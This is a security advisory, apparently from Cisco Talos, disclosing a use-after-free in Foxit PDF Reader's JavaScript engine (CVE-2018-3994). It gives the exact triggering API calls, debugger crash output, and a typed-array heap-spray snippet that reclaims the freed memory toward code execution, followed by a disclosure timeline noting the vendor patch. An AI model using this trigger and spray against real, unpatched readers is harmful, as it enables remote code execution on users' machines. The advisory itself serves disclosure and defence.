CVE-2018-3994
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.2.0.9297.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
A multipage PDF document can have Javascript actions attached to “page open” and “page close” events. Careful manipulation of an allocated object upon “page open” and “close” can lead to use-after-free conditions which can be abused to gain arbitrary code execution.
When opening the document, code associated with the “open” event of the page in focus will execute. Specifically, calling app.activeDocs[0].calculateNow()
in a “page open” event allocates an extra object on the heap. Then, the code in the “open” action for the whole document kicks in. Calling app.activeDocs[0].importDataObject();
can then dereference a freed object leading to a use-after-free condition.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(1514.e48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=218ada07 ebx=1173fb00 ecx=12755080 edx=00000030 esi=00000000 edi=12755080
eip=02e28393 esp=0012ccb8 ebp=0012ccd8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
FoxitReader!CFXJSE_Arguments::GetValue+0x968c63:
02e28393 8b7974 mov edi,dword ptr [ecx+74h] ds:0023:127550f4=????????
0:000> dd ecx
12755080 ???????? ???????? ???????? ????????
12755090 ???????? ???????? ???????? ????????
127550a0 ???????? ???????? ???????? ????????
127550b0 ???????? ???????? ???????? ????????
127550c0 ???????? ???????? ???????? ????????
127550d0 ???????? ???????? ???????? ????????
127550e0 ???????? ???????? ???????? ????????
127550f0 ???????? ???????? ???????? ????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0012ccd8 02e2ea59 FoxitReader!CFXJSE_Arguments::GetValue+0x968c63
01 0012cd54 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96f329
02 0012cd80 764ac5b7 USER32!InternalCallWinProc+0x23
03 0012cdf8 764a5264 USER32!UserCallWinProcCheckWow+0x14b
Analyzing the heap state clearly shows that ecx
points into a freed memory region. We can abuse typed arrays to try and fill the memory of the freed object. An object size of 0xff8 sufices in this case:
global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0xff8 );
var int32View = new Int32Array(global.arr[i]);
for(var j = 0; j <int32View.length ; j++){
int32View[j] = 0xeaeaeaea;
}
}
Loading the PoC in the Foxit Reader with PageHeap disabled this time results in the following crash:
(13c4.5ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=216dd0d1 ebx=11697b00 ecx=126af080 edx=00000030 esi=00000000 edi=eaeaeaea
eip=02e283a7 esp=0019cf50 ebp=0019cf70 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010282
FoxitReader!CFXJSE_Arguments::GetValue+0x968c77:
02e283a7 8b07 mov eax,dword ptr [edi] ds:0023:eaeaeaea=????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0019cf70 02e2ea59 FoxitReader!CFXJSE_Arguments::GetValue+0x968c77
01 0019cfec 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96f329
02 0019d018 764ac5b7 USER32!InternalCallWinProc+0x23
03 0019d090 764a5264 USER32!UserCallWinProcCheckWow+0x14b
This has a potential of being used as an arbitrary read, but careful manipulation of typed array contents can lead to more direct instruction pointer control and ultimately arbitrary code execution.
2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.